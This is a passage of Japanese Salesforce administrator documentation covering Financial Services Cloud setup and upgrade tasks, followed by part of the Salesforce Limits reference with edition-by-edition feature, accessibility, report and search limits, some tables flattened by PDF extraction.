2. [設定] から、[クイック検索] ボックスに「フィード追跡」と入力し、[フィード追跡] を選択します。
3. クライアントプロファイルで Chatter フィードを有効にするには、取引先責任者オブジェクトのフィード追

跡を設定します。世帯プロファイルで Chatter フィードを有効にするには、取引先オブジェクトのフィード
追跡を設定します。
a. オブジェクトを選択します。
b. [フィード追跡の有効化] を選択します。
c. 変更内容を保存します。
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個人およびグループのカスタムレコードタイプの設定
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

Financial Services Cloudでは、個々のクライアントおよびグループのカスタムレコー
ドタイプを柔軟に設定できます。デフォルトのレコードタイプがアドバイザー
の個々のクライアントまたはリレーショングループに適していない場合、Financial

Services Cloudで提供されるデフォルトの個人またはグループレコードタイプに基
づいて、カスタムレコードタイプを設定できます。
カスタム個人レコードタイプを設定するには、まず取引先 (個人) レイアウトを
使用してカスタム取引先レコードタイプを作成し、取引先責任者 (個人) レイア
ウトを使用してカスタム取引先責任者レコードタイプを作成します。カスタム
グループレコードタイプを設定するには、まず取引先 (世帯) レイアウトを使用
してカスタム取引先レコードタイプを作成します。
1. [設定] から、[クイック検索] ボックスに「カスタム」と入力し、[カスタムメタデータ型] を選択します。
2. 個人レコードタイプを設定するには、[個人レコードタイプの対応付け] をクリックします。世帯レコード

タイプを設定するには、[グループレコードタイプの対応付け] をクリックします。
3. レコードタイプに応じて、[個人レコードタイプの対応付けを管理]または [グループレコードタイプの対応

付けを管理] のいずれかをクリックします。
4. [新規] をクリックします。
5. レコードタイプの対応付けの次の情報を入力します。

メモ: 必要な情報はレコードタイプによって決まります。
a. カスタムレコードタイプの対応付けの表示ラベルを入力します。

個人レコードタイプの対応付けの名前はこの表示ラベルに基づいて自動的に入力されます。表示ラベル
と同じままにしてください。

b. [取引先レコードタイプ] に、カスタム取引先レコードタイプ名を入力します。
この名前は、カスタムレコードタイプと同じです。

c. カスタムレコードタイプの組織の取引先名前空間を入力します。
d. [取引先責任者レコードタイプ] に、カスタム取引先責任者レコードタイプ名を入力します。
e. カスタムレコードタイプの組織の取引先責任者名前空間を入力します。
f. [取引先種別] に、カスタム取引先レコードタイプに応じて「個人」または「グループ」のいずれかを入

力します。

6. 変更内容を保存します。
アドバイザーが新規取引先を作成するときに、このカスタムレコードタイプを使用できます。
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アップグレード

アップグレード後のタスク
Financial Services Cloud Summer '16 から Winter '17 にアップグレードする場合、次の設定および定義タスクを実行し
ます。

クライアントページの設定
カスタムクライアントレコードページを使用している場合は、アップグレードタスクの一部として設定し
て最新のコンポーネントを取得します。パッケージ化されたクライアントレコードページを使用している
場合は、このタスクをスキップできます。
システム管理者およびアドバイザープロファイルの更新
アップグレードプロセスには、Financial Services Cloud のシステム管理者とアドバイザーのプロファイルの更
新が含まれます。
ページレイアウトの更新
アップグレードプロセスには、Financial Services Cloud の取引先および取引先責任者ページレイアウトの更新
が含まれます。
リレーショングループの設定
アップグレードタスクの一部としてリレーショングループを設定し、アドバイザーがクライアントを複数
の世帯に追加したり、ビジネスを世帯に追加したり、リレーションを表示したりできるようにします。
取引先と取引先責任者の所有者の同期
デフォルトでは、個人クライアントのすべての新しい取引先と取引先責任者の所有者が自動的に同期され
ます。既存の各個人クライアントの取引先と取引先責任者の詳細で所有者が同じになるように、Apex ジョ
ブをスケジュールできます。
取引先と取引先責任者のリレーションのロールの更新
アップグレードプロセス中に必要に応じて、会社で追跡する世帯メンバー種別を表す追加ロールをアドバ
イザーに割り当てることができます。

クライアントページの設定

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

カスタムクライアントレコードページを使用している場合は、アップグレード
タスクの一部として設定して最新のコンポーネントを取得します。パッケージ
化されたクライアントレコードページを使用している場合は、このタスクをス
キップできます。
リレーションメンバーコンポーネントには、リレーション集計コンポーネント
のすべての情報が含まれることになりました。リレーション集計には、金融口
座の合計やウォレットシェアなどが含まれています。次のステップを実行して、
リレーション集計コンポーネントを削除してください。
1. [設定] から、[クイック検索] ボックスに「Lightning」と入力し、[Lightning アプリケーションビルダー]

を選択します。
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2. カスタムクライアントレコードページの横で [編集] をクリックします。
3. Lightning アプリケーションビルダーで、クライアントレコードページの [リレーション] タブをクリックしま

す。
4. リレーション集計コンポーネントがクライアントレコードページにある場合は、それを削除します。

メモ: このコンポーネントは、[リレーション] タブの上部でパッケージ化されました。

5. リレーションメンバーコンポーネントがクライアントレコードページにあることを確認します。
6. 変更内容を保存します。
7. [戻る] をクリックして、Lightning アプリケーションビルダーを終了し、ブラウザを更新します。

システム管理者およびアドバイザープロファイルの更新

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

アップグレードプロセスには、Financial Services Cloud のシステム管理者とアドバ
イザーのプロファイルの更新が含まれます。
1. アドバイザーがリレーショングループビルダーを使用してビジネスを世帯に

追加し、グループメンバーのプライマリグループとして世帯を選択できるよ
うに、アドバイザープロファイルで次の手順を実行します。
a. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロ

ファイル] を選択します。
b. [アドバイザー] をクリックします。
c. [項目レベルセキュリティ] で、[取引先と取引先責任者のリレーション] の横にある [表示] をクリックし

ます。
d. [編集] をクリックします。
e. [プライマリグループを含める] で、[編集アクセス権] を選択します。
f. [プライマリグループ] で、[編集アクセス権] を選択します。
g. 変更内容を保存します。

ページレイアウトの更新

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

アップグレードプロセスには、Financial Services Cloud の取引先および取引先責任
者ページレイアウトの更新が含まれます。
1. [関連取引先責任者] 関連リストを取引先 (世帯) レイアウト、取引先 (法人) レ

イアウト、取引先 (機関) レイアウトに追加します。
アドバイザーが取引先と取引先責任者のリレーションを再有効化する必要が
ある場合、取引先と取引先責任者のリレーションの標準関連リストを使用で
きます。
a. [設定] から [クイック検索] ボックスに「オブジェクトマネージャ」と入力

し、[オブジェクトマネージャ] を選択します。
b. [取引先] をクリックし、さらに [ページレイアウト] をクリックします。
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c. アップグレードするレイアウトをクリックします。
• 取引先 (世帯) レイアウト
• 取引先 (法人) レイアウト
• 取引先 (機関) レイアウト

2. [関連取引先] 関連リストを取引先責任者 (個人) レイアウトおよび取引先責任者 (法人) レイアウトに追加しま
す。
アドバイザーが取引先と取引先責任者のリレーションを再有効化する必要がある場合、取引先と取引先責
任者のリレーションの標準関連リストを使用できます。
a. [設定] から [クイック検索]ボックスに「オブジェクトマネージャ」と入力し、[オブジェクトマネージャ]

を選択します。
b. [取引先責任者] をクリックし、さらに [ページレイアウト] をクリックします。
c. アップグレードするレイアウトをクリックします。

• 取引先責任者 (個人) レイアウト
• 取引先責任者 (ビジネス) レイアウト

3. 管理対象の取引先と取引先責任者のリレーションレイアウトがアドバイザープロファイルに割り当てられ
ていることを確認します。
a. [設定] から [クイック検索]ボックスに「オブジェクトマネージャ」と入力し、[オブジェクトマネージャ]

を選択します。
b. [取引先と取引先責任者のリレーション] をクリックし、さらに [ページレイアウト] をクリックします。
c. [ページレイアウト] セクションで、[ページレイアウトの割り当て] をクリックします。
d. アドバイザープロファイルで、ページレイアウトが [取引先と取引先責任者のリレーションレイアウト

(インスール済みパッケージ: Financial Services Cloud)] であることを確認します。

4. 管理対象の取引先と取引先責任者のリレーションレイアウトに項目を追加します。
a. [取引先と取引先責任者のリレーション] オブジェクトページで、取引先と取引先責任者のリレーション

レイアウトのいずれかをクリックします。
b. 管理対象の取引先と取引先責任者のリレーションレイアウトが更新されていることを確認します。

メモ: 管理対象の取引先と取引先責任者のリレーションレイアウトには、レイアウトが管理されて
いることを示すメッセージが表示されます。

c. パレットで、[項目] カテゴリを選択し、[プライマリグループ] を [有効] 項目の下にドラッグします。
d. [プライマリグループを含める] を [取引先] 項目の横にある [取引先情報] セクションにドラッグします。
e. 変更内容を保存します。

5. 証券レイアウトを更新します。
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a. [カスタムオブジェクトレイアウト] から、★[セキュリティレイアウト] をクリックします。
b. [情報] セクションに次の項目をドラッグします。

• 資産カテゴリ
• 資産カテゴリ名
• 資産区分

c. 変更内容を保存します。

リレーショングループの設定

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

アップグレードタスクの一部としてリレーショングループを設定し、アドバイ
ザーがクライアントを複数の世帯に追加したり、ビジネスを世帯に追加したり、
リレーションを表示したりできるようにします。

複数のリレーショングループの有効化
アドバイザーが、人を複数の世帯またはその他のリレーショングループに追
加できるようにします。
リレーショングループのカスタムクライアントページの設定
Lightning コンポーネントをカスタムクライアントレコードページに追加し、アドバイザーがビジネスを世
帯に追加してリレーションを表示できるようにします。
リレーショングループの項目セットの設定
クライアントプロファイルの [リレーション] タブでカスタム項目セットを作成し、リレーショングループ
とグループメンバーに関する情報を組み込みます。

複数のリレーショングループの有効化

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

アドバイザーが、人を複数の世帯またはその他のリレーショングループに追加
できるようにします。

メモ: 新しい組織では、複数リレーショングループ機能はデフォルトで有
効になります。

1. [設定] から、[クイック検索] ボックスに「カスタム」と入力し、[カスタム設
定] を選択します。

2. 業種アプリケーション設定の横にある [管理] をクリックします。
3. [編集] をクリックします。
4. [複数のリレーションシップグループ] を選択します。
5. 変更内容を保存します。
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リレーショングループのカスタムクライアントページの設定

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

Lightningコンポーネントをカスタムクライアントレコードページに追加し、アド
バイザーがビジネスを世帯に追加してリレーションを表示できるようにします。
パッケージ化されたクライアントレコードページには、リレーショングループ
の Lightning コンポーネントがすでに含まれています。カスタムクライアントレ
コードページを使用している場合は、Lightningコンポーネントを追加する必要が
あります。
1. [設定] から、[クイック検索]ボックスに「Lightning」と入力し、[Lightning

アプリケーションビルダー] を選択します。
2. カスタムクライアントレコードページの横で [編集] をクリックします。
3. Lightning アプリケーションビルダーで、クライアントレコードページの [リレーション] タブをクリックし

ます。
4. クライアントレコードページのリレーションメンバーコンポーネントの下に、リレーショングループコン

ポーネントをドラッグします。
5. クライアントレコードページのリレーションメンバーコンポーネントの上に、リレーションの対応付けコ

ンポーネントをドラッグします。
6. 変更内容を保存します。
7. Lightning アプリケーションビルダーを終了するには、[戻る] をクリックしてからブラウザを更新します。

リレーショングループの項目セットの設定

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

クライアントプロファイルの [リレーション] タブでカスタム項目セットを作成
し、リレーショングループとグループメンバーに関する情報を組み込みます。
Salesforce Classic から次の手順を実行します。
1. [リレーション] タブのリレーショングループコンポーネントで取引先項目セッ

トを作成し、取引先情報を組み込みます。
a. [設定] から、[クイック検索] ボックスに「取引先」と入力し、[項目セッ

ト] を選択します。
b. 項目セット情報を入力します。

• 項目セットラベル: LBL.Label_Field_Set_Relationship_Groups

• 項目セット名: WM_Client_Relationship_Groups

• 使用場所: クライアントプロファイルの [リレーション] タブ

c. 変更内容を保存します。
d. パレットで [取引先] カテゴリを選択し、次の項目を [項目セットで] にドラッグします。

• 取引先名
• 前回接触
• 総金融口座
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e. パレットで [レコードタイプ ID] カテゴリを選択し、[名前] 項目を [項目セットで] リストの [取引先名] に
ドラッグします。

f. 変更内容を保存します。

2. [リレーション] タブのリレーションメンバーコンポーネントで取引先項目セットを作成し、取引先情報を
組み込みます。
a. [設定] から、[クイック検索] ボックスに「取引先」と入力し、[項目セット] を選択します。
b. 項目セット情報を入力します。

• 項目セットラベル: LBL.Label_Field_Set_Relationship_Group_Members

• 項目セット名: WM_Client_Relationship_Group_Members

• 使用場所: クライアントプロファイルのリレーショングループテーブル

c. 変更内容を保存します。
d. パレットで [取引先] カテゴリを選択し、次の項目を [項目セットで] にドラッグします。

• 取引先名
• カテゴリ
• 総金融口座

e. パレットで [レコードタイプ ID] カテゴリを選択し、[名前] 項目を [項目セットで] リストの [取引先名] に
ドラッグします。

f. 変更内容を保存します。

3. [リレーション] タブのリレーションメンバーコンポーネントで取引先責任者項目セットを作成し、取引先
責任者情報を組み込みます。
a. [設定] から、[クイック検索] ボックスに「取引先責任者」と入力し、[項目セット] を選択します。
b. 項目セット情報を入力します。

• 項目セットラベル: LBL.Label_Field_Set_Relationship_Group_Members

• 項目セット名: WM_Client_Relationship_Group_Members

• 使用場所: クライアントプロファイルのリレーショングループテーブル

c. 変更内容を保存します。
d. パレットで [取引先責任者] カテゴリを選択し、[名前] 項目を [項目セットで] にドラッグします。
e. パレットで[レコードタイプ ID]カテゴリを選択し、[名前]項目を [項目セットで] リストの [名前] にドラッ

グします。
f. パレットで [取引先 ID] カテゴリを選択し、次の項目を [項目セットで] リストのレコードタイプ ID の [名

前] にドラッグします。
• 前回接触
• 総金融口座

g. 変更内容を保存します。
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取引先と取引先責任者の所有者の同期

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

デフォルトでは、個人クライアントのすべての新しい取引先と取引先責任者の
所有者が自動的に同期されます。既存の各個人クライアントの取引先と取引先
責任者の詳細で所有者が同じになるように、Apex ジョブをスケジュールできま
す。
1. [設定] から、[クイック検索]ボックスに「APEX」と入力し、[Apex クラス]を

選択します。
2. [Apex をスケジュール] をクリックします。
3. ジョブ名を入力します。
4. [Apex クラス] で [AccountContactSyncSchedulable] を探して選択します。
5. Apex クラスを 1 日実行するようにスケジュールします。

メモ: 希望開始時刻が将来の時刻になっていることを確認します。

6. 変更内容を保存します。
ジョブの状況を監視するには、[クイック検索] ボックスに「APEX」と入力し、[Apex ジョブ] を選択しま
す。

取引先と取引先責任者のリレーションのロールの更新

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

アップグレードプロセス中に必要に応じて、会社で追跡する世帯メンバー種別
を表す追加ロールをアドバイザーに割り当てることができます。
1. [設定] から (Salesforce Classic のみ)、[クイック検索] ボックスに「取引先責任者

リレーション」と入力し、[取引先責任者リレーション] で [項目] を選択しま
す。

2. [ロール] を選択します。
3. 必要に応じてロールを追加します。

次のロールをお勧めします。
• Grantor (譲与者)

• Beneficiary (受取人)

• Board Member (理事)

• Employee (従業員)

• Trustee (管財人)

4. 変更内容を保存します。
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Salesforce の制限

『Salesforce の制限』は、Salesforce 機能および製品に関連するさまざまな制限を取り上げているリファレンスガ
イドです。ただし、『Salesforceの制限』はすべての制限を網羅しているわけではなく、お客様の Salesforce組織
に適用されない制限もあります。
記載された制限は、すべての状況で指定されたリソースが規定の制限まで使用できることを保証するものでは
ありません。たとえば、負荷、パフォーマンス、その他のシステムの問題に依存する制限もあります。また、
『Salesforce の制限』には、次の制限は含まれていません。
• Salesforce アプリケーションのユーザインターフェース要素
• Salesforce オブジェクトの項目の長さ
• デスクトップインテグレーションクライアント
• Salesforce 契約
すべての制限は、今後予告なく変更される可能性があります。詳細は、Salesforce にお問い合わせください。
Apex、SOAP、REST、他の API を使用したアプリケーションの開発に関する制限については、『Salesforce Developer

の制限クイックリファレンス』を参照してください。
Salesforce 契約により、契約上の制限が適用される場合もあります。

一般的な Salesforce の制限
管理およびサポートの制限
コラボレーションの制限
コミュニティの制限
コミュニティのユーザ、ポータルロール、モデレーション、レポート作成などに関する制限です。
機能の制限

一般的な Salesforce の制限

Salesforce の機能とエディションの制限
エディション別の Salesforce 機能の制限です。
アクセシビリティの制限
アクセシビリティの全般的な制限、およびキーボードとスクリーンリーダーの制限について説明します。
Salesforce レポートおよびダッシュボードの制限 - エディション別
レポート、スナップショット、ダッシュボード、条件検索のエディション間の違いを示します。
検索の制限
ファイル拡張子、ファイルサイズ、シノニムグループ、選択リストに関する検索の制限です。
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標準オブジェクトの制限
標準オブジェクトの制限には、追加したカスタム項目やオブジェクトに適用した共有ルールなど、オブジェ
クトのカスタマイズの使用状況に関する詳細が含まれます。

Salesforce の機能とエディションの制限
エディション別の Salesforce 機能の制限です。

メモ: この表の数値と列がうまく表示されない場合は、こちらの表示を試してください。

Developer
Edition

Unlimited
Edition お
よび
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

75なしアクションプラン: ToDo

の最大数

オブジェクトにつき最大 5 項目。有効なルックアップ検
索条件

10050010020

なし

オブジェクトあたりの
有効な入力規則

添付ファイル: 25 MB。フィードの添付ファイル: 2 GB。
添付ファイル: [メモ &

添付ファイル] 関連リス
トの最大サイズ1

なし

カテゴリ: カテゴリおよ
び階層レベルのデフォ
ルトの最大数

• 1 つのデータカテゴリグループ
に 100 個のカテゴリ

• 1 つのデータカテゴリグループ
階層に 5 個のレベル

カテゴリグループ 5 つ、一度に有効
にできるグループ 3 つ

カテゴリグループ: デ
フォルトの最大数

50証明書: 最大数

10 GB
コンテンツ配信: 直近 24

時間あたりのデフォル
トの配信帯域幅

20,000

コンテンツ配信: 直近 24

時間あたりのデフォル
トの配信参照カウント
数
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Developer
Edition

Unlimited
Edition お
よび
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

25 MB
コンテンツ配信: オンラ
イン参照の最大ファイ
ルサイズ

コンテンツ: 最大ファイ
ルサイズ

• 2 GB

• Chatter REST API によるアップロード時: 2 GB (ヘッダーを含む)

• REST API によるアップロード時: 2 GB (ヘッダーを含む)

• SOAP API によるアップロード時: 38 MB

• Bulk API によるアップロード時: 10 MB

• Google ドキュメント: 10 MB

• Visualforce によるアップロード時: 10 MB

2,000
コンテンツ: ライブラリ
の最大数

10,000,000
コンテンツ: ドキュメン
トの最大数

2,50036,000

コンテンツ: 24 時間あた
りのドキュメントおよ
びバージョンの最大数
(調整可能)

50なしコンテンツパック: 最大
ファイル数

10制限なし260

この制限
を緩和す

255

この制限
を緩和す

1なしカスタムアプリケー
ション2

るには、るには、
SalesforceにSalesforceに
お問い合お問い合
わせくだ
さい。

わせくだ
さい。

500800500100255オブジェクトあたりの
カスタム項目3

5,000なしカスタム表示ラベル
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Developer
Edition

Unlimited
Edition お
よび
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

1,024 文字カスタムリンク: 表示ラ
ベルの最大長

3,000 バイト4カスタムリンク: URL の
最大長

4002,000200505なしカスタムオブジェクト
5

削除された親レコードと関連付けられた連結オブジェクトレコードが
200 個を超えておらず、かつ連結オブジェクトに他の親に積み上げ集計
される積み上げ集計項目がない場合に使用できます。なし

カスタムオブジェクト:

多対多のリレーション
での親レコードの削除

26カスタムオブジェクト:

主従関係の最大数
1,000なしカスタム権限

ユーザライセンスの種類あたり 1,500
2なしカスタムプロファイル:

最大数

10 MBか、1 MB × 組織のフルユーザライセンス数のいずれか少ない容量 (Contact Manager

Edition および Professional Edition ではなし)

カスタム設定: キャッ
シュデータの制限

300なし100なし5
カスタム設定: 設定あた
りの項目の最大数

なし100なしディビジョン: 最大数

20 KB
ドキュメント: カスタム
アプリケーションロゴ
の最大サイズ

5 MB
ドキュメント: アップ
ロードするドキュメン
トの最大サイズ

255 文字
ドキュメント: ファイル
名の最大長 (拡張子を含
む)

エンタイトルメントプロセスは合計で 1,000 個ま
で、マイルストンはプロセスごとに 10 個まで作なし

エンタイトルメントプ
ロセスとマイルストン

成できます。組織が Summer '13 より前に作成さ
れた場合、エンタイトルメントプロセスの最大
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Developer
Edition

Unlimited
Edition お
よび
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

数はこれより小さくなる場合があります。
Salesforce に問い合わせて最大数を増やします。

200なし外部オブジェクト7

20なし

項目履歴管理: 標準また
はカスタムオブジェク
トで追跡する標準また
はカスタム項目の最大
数

2 GB
ファイルサイズ: Chatter

および [ファイル] タブ
の最大ファイルサイズ

250
会計年度: カスタムの最
大数

1,300
数式: 数式の評価後に表
示される最大文字数

3,900 文字数式: 最大文字数

5,000 バイト数式: コンパイル完了時
の最大サイズ

4,000 バイト数式: 保存時の最大サイ
ズ

15
数式: オブジェクトあた
りの一意のリレーショ
ン数

10
数式: オブジェクトあた
りの VLOOKUP 関数の数

4 KB

なし

アイデア: HTML 形式の
アイデアのコメントの
最大サイズ

32 KB
アイデア: HTML 形式の
アイデアの説明の最大
サイズ

なし制限なし2510なしLightning アプリケー
ション
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Developer
Edition

Unlimited
Edition お
よび
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

25
Lightning ページ: 単一範
囲内のコンポーネント
の最大数

10,0008主従関係: 子レコードの
最大数

100,000
オブジェクト: 削除する
結合オブジェクトと子
レコードの最大数

30,000

なし

オムニチャネル: 待機中
の転送要求の最大数9

1 時間あたり 5,000

オムニチャネル: キュー
に入っている作業項目
の最大数10

30なし商談チーム: メンバーの
最大数

1,00021なし権限セット: 最大数 (作
成される場合)

1,500なし

権限セット: 最大数 (イ
ンストールされた管理
AppExchangeパッケージ
の一部として作成およ
び追加される権限セッ
ト)

なし

1,000

なし

質問: 最大文字数

32,000

質問: 最大文字数 (Chatter

アンサーの [質問フ
ローを最適化] が有効
な場合)

150 ピクセル
なし

見積 PDF: ロゴの最大高
さ

5 MB
見積 PDF: ロゴの最大サ
イズ

MB 単位のストレージ容量の 25 倍ごみ箱: 最大レコード数
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Developer
Edition

Unlimited
Edition お
よび
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

なし1,000

なし

返信: 最大文字数

なし4,000

返信 (非公開): 最大文字
数 (Chatter アンサーの
[質問フローを最適化]

が有効な場合)

なし32,000

返信 (公開): 最大文字数
(Chatter アンサーの [質
問フローを最適化] が
有効な場合)

最大 50 件の取引先責任者を定期的でない ToDo、グループではない ToDo、定期的で
ない行動に関連付けることができます。主取引先責任者を 1 人割り当てられます。
その他はすべて副取引先責任者です。

Shared Activities

オブジェクトあたり最大で 300 件の共有ルール
を作成し、条件に基づくルールを最大で50件含
めることができます。

なし
共有ルール

静的リソースの容量は最大 5 MB です。組織は、合計で最大 250 MB の静
的リソースを使用できます。

なし

静的リソース

1001,225

この制限
を緩和す

1,225

この制限
を緩和す

1,210

この制限
を緩和す

53タブ2

るには、るには、るには、
SalesforceにSalesforceにSalesforceに
お問い合お問い合お問い合
わせくだ
さい。

わせくだ
さい。

わせくだ
さい。

ユーザは次の最大数で制限されます。タグ

• 個人タグの作成数は 500 個まで
• 個人タグのレコードへの適用数は 5,000 件まで
すべてのユーザを対象として、組織で持つことができるそれぞれの最大数は次のと
おりです。
• 公開タグの作成数は 1,000 個まで
• 公開タグのレコードへの適用数は 50,000 件まで
• 個人タグと公開タグのレコードへの適用数は 5,000,000 件まで
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Developer
Edition

Unlimited
Edition お
よび
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

15なしテリトリー: 取引先割り
当てルールの最大数

2制限なし1051ユーザ: 最大作成数

5,000なしユーザ: 最大作成数
(Chatter Free)

各フローの制限は次のとおりです。

なし

Visual Workflow

• 50 のバージョン
• 2,000 ステップ
各組織の制限は次のとおりです。
• 500 の有効なフロー
• 1,000 の合計フロー
• 一時点の待機中インタビュー数

は 30,000 件
• 1 時間あたりに処理される行動

は 1,000 件
• フローおよびフローバージョン

全体の定義済み相対アラームイ
ベントは 20,000 件

5,00011

なし

Web-to-ケース: 24 時間あ
たりの生成する新規
ケースの最大件数

50011
Web-to-リード: 24 時間あ
たりの生成する新規
リードの最大件数

1 ケース、ソリューション、キャンペーン、ToDo、または行動の [添付ファイル] 関連リストか、取引先、取引
先責任者、リード、商談、またはカスタムオブジェクトの [メモ & 添付ファイル] 関連リストに添付ファイルを
追加できます。ToDo の関連リストまたは行動ページレイアウトが表示されない場合は、追加するようシステ
ム管理者に依頼する必要があります。
2 AppExchangeに公開して投稿された管理パッケージに含まれるカスタムアプリケーションとカスタムタブは、
ご使用の Salesforce エディションの制限数の対象になりません。
3 その他の制限が、活動項目、ロングテキストエリア項目、リレーション項目、積み上げ集計項目に適用され
ます。
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4 データが URL のトークンと入れ替えられる場合、リンクが 3,000 バイトを超える可能性があります。ブラウザ
によっては、URL の最大長に追加の制限が適用されます。
5 AppExchangeに公開して投稿された管理パッケージに含まれるカスタムオブジェクトは、ご使用の Salesforceエ
ディションの制限数の対象になりません。オブジェクトのソースや名前空間にかかわらず、組織は 2,000 を超
えるカスタムオブジェクトを同時に持つことはできません。論理削除したカスタムオブジェクトとそのデータ
は、制限の対象に含まれます。不要なカスタムオブジェクトは物理削除または消去することをお勧めします。
6 それぞれのリレーションは、規定されているカスタム項目の最大数に計数されます。
7 200 件の外部オブジェクト制限は、組織で購入する Salesforce Connect アドオン数に関係なく適用されます。外
部オブジェクトは、カスタムオブジェクトの制限でカウントされません。
8 ベストプラクティスとして、主従関係の子レコードは 10,000 を超えることはできません。
9 組織でオムニチャネルルーティングを待機中にできるオブジェクトの最大数。オムニチャネル対応キューに
項目が割り当てられると、オムニは対応可能なエージェントにその項目を転送しようとします。エージェント
がいない場合は、その作業の転送が待機中になります。
10すべてのオムニチャネル対応キューについて、組織で 1 時間あたりにキュー可能なレコードの最大数。項目
がオムニチャネルキューに割り当てられるたびに、直前の 1 時間でキューに入れられた項目数がプラットフォー
ムで確認されます。制限に達した場合、項目はキューに割り当てられません。
11 組織が日次の Web-to-ケースまたは Web-to-リードの制限数を超えた場合、デフォルトのケース所有者または
デフォルトのリード作成者にケースまたはリードの情報を含む通知メールが送信されます。組織が 24 時間の
制限に達した場合は、Salesforce では Web-to-ケース要求および Web-to-リード要求を含む待機中の要求のキュー
に追加の要求を格納します。要求は制限が更新されると申請されます。待機中の要求のキューの制限は合計
50,000 件です。組織が待機中の要求の制限に達すると、制限を超える要求は却下され、キューに入れられませ
ん。システム管理者は、申請が却下された最初の 5 件のメールに関して通知を受け取ります。組織の待機中の
要求の制限を変更するには、Salesforce カスタマーサポートにお問い合わせください。

アクセシビリティの制限
アクセシビリティの全般的な制限、およびキーボードとスクリーンリーダーの制限について説明します。

アクセシビリティの全般的な制限
Chatter と Salesforce コンソールは、アクセシビリティ機能に対応していません。

晴眼のキーボードユーザ向けに最適化されていない Salesforce 機能
次の機能は、サードパーティに所有権がある、アクセシビリティのソリューションとして現在適切なサポート
がされていない、当社の開発環境に制約があるなどの理由で、晴眼のキーボードユーザからすべてにアクセス
できるようになっていません。
• 視覚焦点インジケータは実装されていません。
• コンテンツによっては、対応するキーボードフォーカスと順序コントロールがないまま、フロート表示ボッ

クスに表示されるものがあります。Chatter とトレーニングビデオにそのようなものがあります。
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• ドラッグ & ドロップ方式のインターフェースなど、いくつかのリッチインタラクティブインターフェース
には、キーボードアクセスができないものがあります。これらは代替方式が用意されている場合もありま
すが、アクセシビリティモードで使用できないものもあります。

スクリーンリーダーユーザ向けに最適化されていない Salesforce 機能
次の機能は、サードパーティに所有権がある、アクセシビリティのソリューションとして現在適切なサポート
がされていない、当社の開発環境に制約があるなどの理由で、スクリーンリーダーユーザからすべてにアクセ
スできるようになっていません。
• ドラッグ & ドロップ方式のインターフェースなど、いくつかのリッチインタラクティブインターフェース

には、アクセスできないものがあります。これらは代替方式が用意されている場合もありますが、アクセ
シビリティモードで使用できないものもあります。

• PDF ファイルはアクセシビリティ用にマークアップされていません。また、代替となるものもありません。
• トレーニングビデオには、音声解説がありません (拡張音声解説など)。
• いくつかのコンテンツは、スクリーンリーダーからモーダル (応答を必要とするもの) とは認識されないフ

ロート表示ボックスに表示され、ユーザはフロート表示を破棄しなくても他のコンテンツと対話できます。
Chatter とトレーニングビデオにそのようなものがあります。

• 読み取り速度が遅い場合、セッションタイムアウトの警告のため、ユーザ応答のための十分な時間がとれ
ない場合があります。

Chatter と Salesforce コンソールは、アクセシビリティ機能に対応していません。

Salesforce レポートおよびダッシュボードの制限 - エディション別
レポート、スナップショット、ダッシュボード、条件検索のエディション間の違いを示します。

Developer
Edition

Unlimited
Edition お
よび
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

4002,00020050

なし

カスタムレポートタイ
プ
(制限は、開発状況に関
係なく、すべてのカス
タムレポートタイプに
適用される)

1 ダッシュボードにつき 3 個ダッシュボード検索条
件

最大 3 個最大 10 個最大 5 個なし1 組織あたりの動的
ダッシュボード数
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Developer
Edition

Unlimited
Edition お
よび
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

20レポートあたりの項目
検索条件数1

5レポートあたりの数式
12、 3、 4221212、 3、 4

なしレポート作成スナップ
ショット

なし2212なしダッシュボードの更新
のスケジュール設定

12、 3、 5221212、 3、 5なし

時間あたりのスケ
ジュール済みレポート
(メール送信するレポー
トの容量は最大 10

MB)。

1 これらの制限はレポートビルダーに適用されます。レポートウィザードを使用している場合、制限は 10 で
す。
2 合計で最大 200 まで。
3 オフピーク時 (ローカル時間の午後 6 時～午前 3 時) のみ。
4 希望開始時刻は 1 日 1 つに制限されます。
5 希望開始時刻は 1 日 3 つに制限されます。

検索の制限
ファイル拡張子、ファイルサイズ、シノニムグループ、選択リストに関する検索の制限です。

検索の制限
ドキュメントレコードとシノニムグループの検索の制限です。
シノニムに関する検索の制限
シノニムグループを使用すると、検索で語または句のグループを同義とみなします。シノニムグループの
いずれかの語を検索すると、グループ内のすべての語に対する結果が返されます。組織は、最大 10,000 個
のシノニムグループを作成できます。
選択リストに関する検索の制限
特定のオブジェクトに対して検索結果を並び替える場合、複数選択リスト項目のデータ型は並び替えるこ
とができないため、複数選択リスト項目の列ヘッダーはクリックできません。
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検索の制限
ドキュメントレコードとシノニムグループの検索の制限です。

